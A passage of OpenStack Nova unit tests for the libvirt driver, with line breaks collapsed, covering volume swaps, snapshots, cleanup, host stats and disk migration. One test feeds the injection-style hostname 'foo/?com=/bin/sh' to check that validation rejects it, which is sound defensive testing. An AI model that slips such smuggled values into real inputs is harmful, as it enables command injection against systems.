libvirt_guest.Guest(mock_dom) guest = drvr._create_domain_and_network( self.context, fake_xml, instance, network_info, None, block_device_info=block_device_info) get_encryption_metadata.assert_called_once_with(self.context, drvr._volume_api, fake_volume_id, connection_info) get_volume_encryptor.assert_called_once_with(connection_info, mock_encryption_meta) plug_vifs.assert_called_once_with(instance, network_info) setup_basic_filtering.assert_called_once_with(instance, network_info) prepare_instance_filter.assert_called_once_with(instance, network_info) pause = self._get_pause_flag(drvr, network_info) create_domain.assert_called_once_with( fake_xml, pause=pause, power_on=True) self.assertEqual(mock_dom, guest._domain) def test_get_guest_storage_config(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) test_instance = copy.deepcopy(self.test_instance) test_instance["default_swap_device"] = None instance = objects.Instance(**test_instance) image_meta = {} flavor = instance.get_flavor() conn_info = {'driver_volume_type': 'fake', 'data': {}} bdi = {'block_device_mapping': driver_block_device.convert_volumes([ fake_block_device.FakeDbBlockDeviceDict({ 'id': 1, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/vdc'}) ])} bdm = bdi['block_device_mapping'][0] bdm['connection_info'] = conn_info disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta, bdi) mock_conf = mock.MagicMock(source_path='fake') with contextlib.nested( mock.patch.object(driver_block_device.DriverVolumeBlockDevice, 'save'), mock.patch.object(drvr, '_connect_volume'), mock.patch.object(drvr, '_get_volume_config', return_value=mock_conf), mock.patch.object(drvr, '_set_cache_mode') ) as (volume_save, connect_volume, get_volume_config, set_cache_mode): devices = drvr._get_guest_storage_config(instance, None, disk_info, False, bdi, flavor, "hvm") self.assertEqual(3, len(devices)) self.assertEqual('/dev/vdb', instance.default_ephemeral_device) self.assertIsNone(instance.default_swap_device) connect_volume.assert_called_with(bdm['connection_info'], {'bus': 'virtio', 'type': 'disk', 'dev': 'vdc'}) get_volume_config.assert_called_with(bdm['connection_info'], {'bus': 'virtio', 'type': 'disk', 'dev': 'vdc'}) volume_save.assert_called_once_with() self.assertEqual(3, set_cache_mode.call_count) def test_get_neutron_events(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) network_info = [network_model.VIF(id='1'), network_model.VIF(id='2', active=True)] events = drvr._get_neutron_events(network_info) self.assertEqual([('network-vif-plugged', '1')], events) def test_unplug_vifs_ignores_errors(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) with mock.patch.object(drvr, 'vif_driver') as vif_driver: vif_driver.unplug.side_effect = exception.AgentError( method='unplug') drvr._unplug_vifs('inst', [1], ignore_errors=True) vif_driver.unplug.assert_called_once_with('inst', 1) def test_unplug_vifs_reports_errors(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) with mock.patch.object(drvr, 'vif_driver') as vif_driver: vif_driver.unplug.side_effect = exception.AgentError( method='unplug') self.assertRaises(exception.AgentError, drvr.unplug_vifs, 'inst', [1]) vif_driver.unplug.assert_called_once_with('inst', 1) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._unplug_vifs') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._undefine_domain') def test_cleanup_pass_with_no_mount_device(self, undefine, unplug): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) drvr.firewall_driver = mock.Mock() drvr._disconnect_volume = mock.Mock() fake_inst = {'name': 'foo'} fake_bdms = [{'connection_info': 'foo', 'mount_device': None}] with mock.patch('nova.virt.driver' '.block_device_info_get_mapping', return_value=fake_bdms): drvr.cleanup('ctxt', fake_inst, 'netinfo', destroy_disks=False) self.assertTrue(drvr._disconnect_volume.called) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._unplug_vifs') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._undefine_domain') def test_cleanup_wants_vif_errors_ignored(self, undefine, unplug): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) fake_inst = {'name': 'foo'} with mock.patch.object(drvr._conn, 'lookupByName') as lookup: lookup.return_value = fake_inst # NOTE(danms): Make unplug cause us to bail early, since # we only care about how it was called unplug.side_effect = test.TestingException self.assertRaises(test.TestingException, drvr.cleanup, 'ctxt', fake_inst, 'netinfo') unplug.assert_called_once_with(fake_inst, 'netinfo', True) @mock.patch('nova.virt.driver.block_device_info_get_mapping') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.' '_get_serial_ports_from_instance') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._undefine_domain') def test_cleanup_serial_console_enabled( self, undefine, get_ports, block_device_info_get_mapping): self.flags(enabled="True", group='serial_console') instance = 'i1' network_info = {} bdm_info = {} firewall_driver = mock.MagicMock() get_ports.return_value = iter([('127.0.0.1', 10000)]) block_device_info_get_mapping.return_value = () # We want to ensure undefine_domain is called after # lookup_domain. def undefine_domain(instance): get_ports.side_effect = Exception("domain undefined") undefine.side_effect = undefine_domain drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) drvr.firewall_driver = firewall_driver drvr.cleanup( 'ctx', instance, network_info, block_device_info=bdm_info, destroy_disks=False, destroy_vifs=False) get_ports.assert_called_once_with(instance) undefine.assert_called_once_with(instance) firewall_driver.unfilter_instance.assert_called_once_with( instance, network_info=network_info) block_device_info_get_mapping.assert_called_once_with(bdm_info) @mock.patch('nova.virt.driver.block_device_info_get_mapping') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.' '_get_serial_ports_from_instance') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._undefine_domain') def test_cleanup_serial_console_domain_gone( self, undefine, get_ports, block_device_info_get_mapping): self.flags(enabled="True", group='serial_console') instance = {'name': 'i1'} network_info = {} bdm_info = {} firewall_driver = mock.MagicMock() block_device_info_get_mapping.return_value = () # Ensure _get_serial_ports_from_instance raises same exception # that would have occurred if domain was gone. get_ports.side_effect = exception.InstanceNotFound("domain undefined") drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) drvr.firewall_driver = firewall_driver drvr.cleanup( 'ctx', instance, network_info, block_device_info=bdm_info, destroy_disks=False, destroy_vifs=False) get_ports.assert_called_once_with(instance) undefine.assert_called_once_with(instance) firewall_driver.unfilter_instance.assert_called_once_with( instance, network_info=network_info) block_device_info_get_mapping.assert_called_once_with(bdm_info) def test_swap_volume(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) mock_dom = mock.MagicMock() guest = libvirt_guest.Guest(mock_dom) with mock.patch.object(drvr._conn, 'defineXML', create=True) as mock_define: xmldoc = "<domain/>" srcfile = "/first/path" dstfile = "/second/path" mock_dom.XMLDesc.return_value = xmldoc mock_dom.isPersistent.return_value = True mock_dom.blockJobInfo.return_value = {} drvr._swap_volume(guest, srcfile, dstfile, 1) mock_dom.XMLDesc.assert_called_once_with( flags=(fakelibvirt.VIR_DOMAIN_XML_INACTIVE | fakelibvirt.VIR_DOMAIN_XML_SECURE)) mock_dom.blockRebase.assert_called_once_with( srcfile, dstfile, 0, flags=( fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_COPY | fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_REUSE_EXT)) mock_dom.blockResize.assert_called_once_with( srcfile, 1 * units.Gi / units.Ki) mock_define.assert_called_once_with(xmldoc) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._disconnect_volume') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._swap_volume') @mock.patch('nova.virt.block_device.DriverVolumeBlockDevice.save') @mock.patch('nova.objects.block_device.BlockDeviceMapping.' 'get_by_volume_id') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._get_volume_config') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._connect_volume') @mock.patch('nova.virt.libvirt.host.Host.get_guest') def test_swap_volume_driver_bdm_save(self, get_guest, connect_volume, get_volume_config, get_by_volume_id, volume_save, swap_volume, disconnect_volume): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) instance = objects.Instance(**self.test_instance) old_connection_info = {'driver_volume_type': 'fake', 'serial': 'old-volume-id', 'data': {'device_path': '/fake-old-volume', 'access_mode': 'rw'}} new_connection_info = {'driver_volume_type': 'fake', 'serial': 'new-volume-id', 'data': {'device_path': '/fake-new-volume', 'access_mode': 'rw'}} mock_dom = mock.MagicMock() guest = libvirt_guest.Guest(mock_dom) mock_dom.XMLDesc.return_value = """<domain> <devices> <disk type='file'> <source file='/fake-old-volume'/> <target dev='vdb' bus='virtio'/> </disk> </devices> </domain> """ mock_dom.name.return_value = 'inst' mock_dom.UUIDString.return_value = 'uuid' get_guest.return_value = guest disk_info = {'bus': 'virtio', 'type': 'disk', 'dev': 'vdb'} get_volume_config.return_value = mock.MagicMock( source_path='/fake-new-volume') bdm = objects.BlockDeviceMapping(self.context, **fake_block_device.FakeDbBlockDeviceDict( {'id': 2, 'instance_uuid': 'fake-instance', 'device_name': '/dev/vdb', 'source_type': 'volume', 'destination_type': 'volume', 'volume_id': 'fake-volume-id-2', 'boot_index': 0})) get_by_volume_id.return_value = bdm conn.swap_volume(old_connection_info, new_connection_info, instance, '/dev/vdb', 1) get_guest.assert_called_once_with(instance) connect_volume.assert_called_once_with(new_connection_info, disk_info) swap_volume.assert_called_once_with(guest, 'vdb', '/fake-new-volume', 1) disconnect_volume.assert_called_once_with(old_connection_info, 'vdb') volume_save.assert_called_once_with() def test_live_snapshot(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) mock_dom = mock.MagicMock() with contextlib.nested( mock.patch.object(drvr._conn, 'defineXML', create=True), mock.patch.object(fake_libvirt_utils, 'get_disk_size'), mock.patch.object(fake_libvirt_utils, 'get_disk_backing_file'), mock.patch.object(fake_libvirt_utils, 'create_cow_image'), mock.patch.object(fake_libvirt_utils, 'chown'), mock.patch.object(fake_libvirt_utils, 'extract_snapshot'), ) as (mock_define, mock_size, mock_backing, mock_create_cow, mock_chown, mock_snapshot): xmldoc = "<domain/>" srcfile = "/first/path" dstfile = "/second/path" bckfile = "/other/path" dltfile = dstfile + ".delta" mock_dom.XMLDesc.return_value = xmldoc mock_dom.isPersistent.return_value = True mock_size.return_value = 1004009 mock_backing.return_value = bckfile guest = libvirt_guest.Guest(mock_dom) drvr._live_snapshot(self.context, self.test_instance, guest, srcfile, dstfile, "qcow2", {}) mock_dom.XMLDesc.assert_called_once_with(flags=( fakelibvirt.VIR_DOMAIN_XML_INACTIVE | fakelibvirt.VIR_DOMAIN_XML_SECURE)) mock_dom.blockRebase.assert_called_once_with( srcfile, dltfile, 0, flags=( fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_COPY | fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_REUSE_EXT | fakelibvirt.VIR_DOMAIN_BLOCK_REBASE_SHALLOW)) mock_size.assert_called_once_with(srcfile) mock_backing.assert_called_once_with(srcfile, basename=False) mock_create_cow.assert_called_once_with(bckfile, dltfile, 1004009) mock_chown.assert_called_once_with(dltfile, os.getuid()) mock_snapshot.assert_called_once_with(dltfile, "qcow2", dstfile, "qcow2") mock_define.assert_called_once_with(xmldoc) @mock.patch.object(utils, "spawn") def test_live_migration_hostname_valid(self, mock_spawn): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr.live_migration(self.context, self.test_instance, "host1.example.com", lambda x: x, lambda x: x) self.assertEqual(1, mock_spawn.call_count) @mock.patch.object(utils, "spawn") @mock.patch.object(fake_libvirt_utils, "is_valid_hostname") def test_live_migration_hostname_invalid(self, mock_hostname, mock_spawn): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_hostname.return_value = False self.assertRaises(exception.InvalidHostname, drvr.live_migration, self.context, self.test_instance, "foo/?com=/bin/sh", lambda x: x, lambda x: x) @mock.patch('os.path.exists', return_value=True) @mock.patch('tempfile.mkstemp') @mock.patch('os.close', return_value=None) def test_check_instance_shared_storage_local_raw(self, mock_close, mock_mkstemp, mock_exists): instance_uuid = str(uuid.uuid4()) self.flags(images_type='raw', group='libvirt') self.flags(instances_path='/tmp') mock_mkstemp.return_value = (-1, '/tmp/{0}/file'.format(instance_uuid)) driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) temp_file = driver.check_instance_shared_storage_local(self.context, instance) self.assertEqual('/tmp/{0}/file'.format(instance_uuid), temp_file['filename']) def test_check_instance_shared_storage_local_rbd(self): self.flags(images_type='rbd', group='libvirt') driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) self.assertIsNone(driver. check_instance_shared_storage_local(self.context, instance)) def test_version_to_string(self): driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) string_ver = driver._version_to_string((4, 33, 173)) self.assertEqual("4.33.173", string_ver) def test_parallels_min_version_fail(self): self.flags(virt_type='parallels', group='libvirt') driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(driver._conn, 'getLibVersion', return_value=1002011): self.assertRaises(exception.NovaException, driver.init_host, 'wibble') def test_parallels_min_version_ok(self): self.flags(virt_type='parallels', group='libvirt') driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(driver._conn, 'getLibVersion', return_value=1002012): driver.init_host('wibble') def test_get_guest_config_parallels_vm(self): self.flags(virt_type='parallels', group='libvirt') self.flags(images_type='ploop', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertEqual("parallels", cfg.virt_type) self.assertEqual(instance_ref["uuid"], cfg.uuid) self.assertEqual(2 * units.Mi, cfg.memory) self.assertEqual(1, cfg.vcpus) self.assertEqual(vm_mode.HVM, cfg.os_type) self.assertIsNone(cfg.os_root) self.assertEqual(6, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[0].driver_format, "ploop") self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) def test_get_guest_config_parallels_ct(self): self.flags(virt_type='parallels', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) ct_instance = self.test_instance.copy() ct_instance["vm_mode"] = vm_mode.EXE instance_ref = objects.Instance(**ct_instance) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, {'mapping': {'disk': {}}}) self.assertEqual("parallels", cfg.virt_type) self.assertEqual(instance_ref["uuid"], cfg.uuid) self.assertEqual(2 * units.Mi, cfg.memory) self.assertEqual(1, cfg.vcpus) self.assertEqual(vm_mode.EXE, cfg.os_type) self.assertEqual("/sbin/init", cfg.os_init_path) self.assertIsNone(cfg.os_root) self.assertEqual(4, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestFilesys) fs = cfg.devices[0] self.assertEqual(fs.source_type, "file") self.assertEqual(fs.driver_type, "ploop") self.assertEqual(fs.target_dir, "/") self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestVideo) def _test_get_guest_config_parallels_volume(self, vmmode, devices): self.flags(virt_type='parallels', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) ct_instance = self.test_instance.copy() ct_instance["vm_mode"] = vmmode instance_ref = objects.Instance(**ct_instance) image_meta = {} conn_info = {'driver_volume_type': 'fake'} info = {'block_device_mapping': driver_block_device.convert_volumes([ fake_block_device.FakeDbBlockDeviceDict( {'id': 0, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/sda'}), ])} info['block_device_mapping'][0]['connection_info'] = conn_info disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, info) with mock.patch.object( driver_block_device.DriverVolumeBlockDevice, 'save' ) as mock_save: cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info, None, info) mock_save.assert_called_once_with() self.assertEqual("parallels", cfg.virt_type) self.assertEqual(instance_ref["uuid"], cfg.uuid) self.assertEqual(2 * units.Mi, cfg.memory) self.assertEqual(1, cfg.vcpus) self.assertEqual(vmmode, cfg.os_type) self.assertIsNone(cfg.os_root) self.assertEqual(devices, len(cfg.devices)) disk_found = False for dev in cfg.devices: result = isinstance(dev, vconfig.LibvirtConfigGuestFilesys) self.assertFalse(result) if (isinstance(dev, vconfig.LibvirtConfigGuestDisk) and (dev.source_path is None or 'disk.local' not in dev.source_path)): self.assertEqual("disk", dev.source_device) self.assertEqual("sda", dev.target_dev) disk_found = True self.assertTrue(disk_found) def test_get_guest_config_parallels_volume(self): self._test_get_guest_config_parallels_volume(vm_mode.EXE, 4) self._test_get_guest_config_parallels_volume(vm_mode.HVM, 6) class HostStateTestCase(test.NoDBTestCase): cpu_info = {"vendor": "Intel", "model": "pentium", "arch": "i686", "features": ["ssse3", "monitor", "pni", "sse2", "sse", "fxsr", "clflush", "pse36", "pat", "cmov", "mca", "pge", "mtrr", "sep", "apic"], "topology": {"cores": "1", "threads": "1", "sockets": "1"}} instance_caps = [(arch.X86_64, "kvm", "hvm"), (arch.I686, "kvm", "hvm")] pci_devices = [{ "dev_id": "pci_0000_04_00_3", "address": "0000:04:10.3", "product_id": '1521', "vendor_id": '8086', "dev_type": 'type-PF', "phys_function": None}] numa_topology = objects.NUMATopology( cells=[objects.NUMACell( id=1, cpuset=set([1, 2]), memory=1024, cpu_usage=0, memory_usage=0, mempages=[], siblings=[], pinned_cpus=set([])), objects.NUMACell( id=2, cpuset=set([3, 4]), memory=1024, cpu_usage=0, memory_usage=0, mempages=[], siblings=[], pinned_cpus=set([]))]) class FakeConnection(libvirt_driver.LibvirtDriver): """Fake connection object.""" def __init__(self): super(HostStateTestCase.FakeConnection, self).__init__(fake.FakeVirtAPI(), True) self._host = host.Host("qemu:///system") def _get_memory_mb_total(): return 497 def _get_memory_mb_used(): return 88 self._host.get_memory_mb_total = _get_memory_mb_total self._host.get_memory_mb_used = _get_memory_mb_used def _get_vcpu_total(self): return 1 def _get_vcpu_used(self): return 0 def _get_cpu_info(self): return HostStateTestCase.cpu_info def _get_disk_over_committed_size_total(self): return 0 def _get_local_gb_info(self): return {'total': 100, 'used': 20, 'free': 80} def get_host_uptime(self): return ('10:01:16 up 1:36, 6 users, ' 'load average: 0.21, 0.16, 0.19') def _get_disk_available_least(self): return 13091 def _get_instance_capabilities(self): return HostStateTestCase.instance_caps def _get_pci_passthrough_devices(self): return jsonutils.dumps(HostStateTestCase.pci_devices) def _get_host_numa_topology(self): return HostStateTestCase.numa_topology @mock.patch.object(fakelibvirt, "openAuth") def test_update_status(self, mock_open): mock_open.return_value = fakelibvirt.Connection("qemu:///system") drvr = HostStateTestCase.FakeConnection() stats = drvr.get_available_resource("compute1") self.assertEqual(stats["vcpus"], 1) self.assertEqual(stats["memory_mb"], 497) self.assertEqual(stats["local_gb"], 100) self.assertEqual(stats["vcpus_used"], 0) self.assertEqual(stats["memory_mb_used"], 88) self.assertEqual(stats["local_gb_used"], 20) self.assertEqual(stats["hypervisor_type"], 'QEMU') self.assertEqual(stats["hypervisor_version"], 1001000) self.assertEqual(stats["hypervisor_hostname"], 'compute1') cpu_info = jsonutils.loads(stats["cpu_info"]) self.assertEqual(cpu_info, {"vendor": "Intel", "model": "pentium", "arch": arch.I686, "features": ["ssse3", "monitor", "pni", "sse2", "sse", "fxsr", "clflush", "pse36", "pat", "cmov", "mca", "pge", "mtrr", "sep", "apic"], "topology": {"cores": "1", "threads": "1", "sockets": "1"} }) self.assertEqual(stats["disk_available_least"], 80) self.assertEqual(jsonutils.loads(stats["pci_passthrough_devices"]), HostStateTestCase.pci_devices) self.assertThat(objects.NUMATopology.obj_from_db_obj( stats['numa_topology'])._to_dict(), matchers.DictMatches( HostStateTestCase.numa_topology._to_dict())) class LibvirtDriverTestCase(test.NoDBTestCase): """Test for nova.virt.libvirt.libvirt_driver.LibvirtDriver.""" def setUp(self): super(LibvirtDriverTestCase, self).setUp() self.drvr = libvirt_driver.LibvirtDriver( fake.FakeVirtAPI(), read_only=True) self.context = context.get_admin_context() def _create_instance(self, params=None): """Create a test instance.""" if not params: params = {} flavor = objects.Flavor(memory_mb=512, swap=0, vcpu_weight=None, root_gb=10, id=2, name=u'm1.tiny', ephemeral_gb=20, rxtx_factor=1.0, flavorid=u'1', vcpus=1) inst = {} inst['id'] = 1 inst['uuid'] = '52d3b512-1152-431f-a8f7-28f0288a622b' inst['os_type'] = 'linux' inst['image_ref'] = '1' inst['reservation_id'] = 'r-fakeres' inst['user_id'] = 'fake' inst['project_id'] = 'fake' inst['instance_type_id'] = 2 inst['ami_launch_index'] = 0 inst['host'] = 'host1' inst['root_gb'] = flavor.root_gb inst['ephemeral_gb'] = flavor.ephemeral_gb inst['config_drive'] = True inst['kernel_id'] = 2 inst['ramdisk_id'] = 3 inst['key_data'] = 'ABCDEFG' inst['system_metadata'] = {} inst['metadata'] = {} inst.update(params) return objects.Instance(flavor=flavor, old_flavor=None, new_flavor=None, **inst) @staticmethod def _disk_info(): # 10G root and 512M swap disk disk_info = [{'disk_size': 1, 'type': 'qcow2', 'virt_disk_size': 10737418240, 'path': '/test/disk', 'backing_file': '/base/disk'}, {'disk_size': 1, 'type': 'qcow2', 'virt_disk_size': 536870912, 'path': '/test/disk.swap', 'backing_file': '/base/swap_512'}] return jsonutils.dumps(disk_info) def test_migrate_disk_and_power_off_exception(self): """Test for nova.virt.libvirt.libvirt_driver.LivirtConnection .migrate_disk_and_power_off. """ self.counter = 0 self.checked_shared_storage = False def fake_get_instance_disk_info(instance, block_device_info=None): return '[]' def fake_destroy(instance): pass def fake_get_host_ip_addr(): return '10.0.0.1' def fake_execute(*args, **kwargs): self.counter += 1 if self.counter == 1: assert False, "intentional failure" def fake_os_path_exists(path): return True def fake_is_storage_shared(dest, inst_base): self.checked_shared_storage = True return False self.stubs.Set(self.drvr, 'get_instance_disk_info', fake_get_instance_disk_info) self.stubs.Set(self.drvr, '_destroy', fake_destroy) self.stubs.Set(self.drvr, 'get_host_ip_addr', fake_get_host_ip_addr) self.stubs.Set(self.drvr, '_is_storage_shared_with', fake_is_storage_shared) self.stubs.Set(utils, 'execute', fake_execute) self.stubs.Set(os.path, 'exists', fake_os_path_exists) ins_ref = self._create_instance() flavor = {'root_gb': 10, 'ephemeral_gb': 20} flavor_obj = objects.Flavor(**flavor) self.assertRaises(AssertionError, self.drvr.migrate_disk_and_power_off, context.get_admin_context(), ins_ref, '10.0.0.2', flavor_obj, None) def _test_migrate_disk_and_power_off(self, flavor_obj, block_device_info=None, params_for_instance=None): """Test for nova.virt.libvirt.libvirt_driver.LivirtConnection .migrate_disk_and_power_off. """ disk_info = self._disk_info() def fake_get_instance_disk_info(instance, block_device_info=None): return disk_info def fake_destroy(instance): pass def fake_get_host_ip_addr(): return '10.0.0.1' def fake_execute(*args, **kwargs): pass def fake_copy_image(src, dest, host=None, receive=False, on_execute=None, on_completion=None): self.assertIsNotNone(on_execute) self.assertIsNotNone(on_completion) self.stubs.Set(self.drvr, 'get_instance_disk_info', fake_get_instance_disk_info) self.stubs.Set(self.drvr, '_destroy', fake_destroy) self.stubs.Set(self.drvr, 'get_host_ip_addr', fake_get_host_ip_addr) self.stubs.Set(utils, 'execute', fake_execute) self.stubs.Set(libvirt_utils, 'copy_image', fake_copy_image) ins_ref = self._create_instance(params=params_for_instance) # dest is different host case out = self.drvr.migrate_disk_and_power_off( context.get_admin_context(), ins_ref, '10.0.0.2', flavor_obj, None, block_device_info=block_device_info) self.assertEqual(out, disk_info) # dest is same host case out = self.drvr.migrate_disk_and_power_off( context.get_admin_context(), ins_ref, '10.0.0.1', flavor_obj, None, block_device_info=block_device_info) self.assertEqual(out, disk_info) def test_migrate_disk_and_power_off(self): flavor = {'root_gb': 10, 'ephemeral_gb': 20} flavor_obj = objects.Flavor(**flavor) self._test_migrate_disk_and_power_off(flavor_obj) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._disconnect_volume') def test_migrate_disk_and_power_off_boot_from_volume(self, disconnect_volume): info = {'block_device_mapping': [{'boot_index': None, 'mount_device': '/dev/vdd', 'connection_info': None}, {'boot_index': 0, 'mount_device': '/dev/vda', 'connection_info': None}]} flavor = {'root_gb': 1, 'ephemeral_gb': 0} flavor_obj = objects.Flavor(**flavor) # Note(Mike_D): The size of instance's ephemeral_gb is 0 gb. self._test_migrate_disk_and_power_off( flavor_obj, block_device_info=info, params_for_instance={'image_ref': None, 'ephemeral_gb': 0}) disconnect_volume.assert_called_with( info['block_device_mapping'][1]['connection_info'], 'vda') @mock.patch('nova.utils.execute') @mock.patch('nova.virt.libvirt.utils.copy_image') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver._destroy') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.get_host_ip_addr') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver' '.get_instance_disk_info') def test_migrate_disk_and_power_off_swap(self, mock_get_disk_info, get_host_ip_addr, mock_destroy, mock_copy_image, mock_execute): """Test for nova.virt.libvirt.libvirt_driver.LivirtConnection .migrate_disk_and_power_off. """ self.copy_or_move_swap_called = False disk_info = self._disk_info() mock_get_disk_info.return_value = disk_info get_host_ip_addr.return_value = '10.0.0.1' def fake_copy_image(*args, **kwargs): # disk.swap should not be touched since it is skipped over if '/test/disk.swap' in list(args): self.copy_or_move_swap_called = True def fake_execute(*args, **kwargs): # disk.swap should not be touched since it is skipped over if set(['mv', '/test/disk.swap']).issubset(list(args)): self.copy_or_move_swap_called = True mock_copy_image.side_effect = fake_copy_image mock_execute.side_effect = fake_execute drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) # Original instance config instance = self._create_instance({'root_gb': 10, 'ephemeral_gb': 0}) # Re-size fake instance to 20G root and 1024M swap disk flavor = {'root_gb': 20, 'ephemeral_gb': 0, 'swap': 1024} flavor_obj = objects.Flavor(**flavor) # Destination is same host out = drvr.migrate_disk_and_power_off(context.get_admin_context(), instance, '10.0.0.1', flavor_obj, None) mock_get_disk_info.assert_called_once_with(instance, block_device_info=None) self.assertTrue(get_host_ip_addr.called) mock_destroy.assert_called_once_with(instance) self.assertFalse(self.copy_or_move_swap_called) self.assertEqual(disk_info, out) def _test_migrate_disk_and_power_off_resize_check(self, expected_exc): """Test for nova.virt.libvirt.libvirt_driver.LibvirtConnection .migrate_disk_and_power_off. """ def fake_get_instance_disk_info(instance, xml=None, block_device_info=None): return self._disk_info() def fake_destroy(instance): pass def fake_get_host_ip_addr(): return '10.0.0.1' self.stubs.Set(self.drvr, 'get_instance_disk_info', fake_get_instance_disk_info) self.stubs.Set(self.drvr, '_destroy', fake_destroy) self.stubs.Set(self.drvr, 'get_host_ip_addr', fake_get_host_ip_addr) ins_ref = self._create_instance() flavor = {'root_gb': 10, 'ephemeral_gb': 20} flavor_obj = objects.Flavor(**flavor) # Migration is not implemented for LVM backed instances self.assertRaises(expected_exc, self.drvr.migrate_disk_and_power_off, None, ins_ref, '10.0.0.1', flavor_obj, None) def test_migrate_disk_and_power_off_lvm(self): self.flags(images_type='lvm', group='libvirt') def fake_execute(*args, **kwargs): pass self.stubs.Set(utils, 'execute', fake_execute) expected_exc = exception.InstanceFaultRollback self._test_migrate_disk_and_power_off_resize_check(expected_exc) def test_migrate_disk_and_power_off_resize_cannot_ssh(self): def fake_execute(*args, **kwargs): raise processutils.ProcessExecutionError() def fake_is_storage_shared(dest, inst_base): self.checked_shared_storage = True return False self.stubs.Set(self.drvr, '_is_storage_shared_with', fake_is_storage_shared) self.stubs.Set(utils, 'execute', fake_execute) expected_exc = exception.InstanceFaultRollback self._test_migrate_disk_and_power_off_resize_check(expected_exc) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver' '.get_instance_disk_info') def test_migrate_disk_and_power_off_resize_error(self, mock_get_disk_info): instance = self._create_instance() flavor = {'root_gb': 5, 'ephemeral_gb': 10} flavor_obj = objects.Flavor(**flavor) mock_get_disk_info.return_value = self._disk_info() self.assertRaises( exception.InstanceFaultRollback, self.drvr.migrate_disk_and_power_off, 'ctx', instance, '10.0.0.1', flavor_obj, None) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver' '.get_instance_disk_info') def test_migrate_disk_and_power_off_resize_error_default_ephemeral( self, mock_get_disk_info): # Note(Mike_D): The size of this instance's ephemeral_gb is 20 gb. instance = self._create_instance() flavor = {'root_gb': 10, 'ephemeral_gb': 0} flavor_obj = objects.Flavor(**flavor) mock_get_disk_info.return_value = self._disk_info() self.assertRaises(exception.InstanceFaultRollback, self.drvr.migrate_disk_and_power_off, 'ctx', instance, '10.0.0.1', flavor_obj, None) @mock.patch('nova.virt.libvirt.driver.LibvirtDriver' '.get_instance_disk_info') @mock.patch('nova.virt.driver.block_device_info_get_ephemerals') def test_migrate_disk_and_power_off_resize_error_eph(self, mock_get, mock_get_disk_info): mappings = [ { 'device_name': '/dev/sdb4', 'source_type': 'blank', 'destination_type': 'local', 'device_type': 'disk', 'guest_format': 'swap', 'boot_index': -1, 'volume_size': 1 }, { 'device_name': 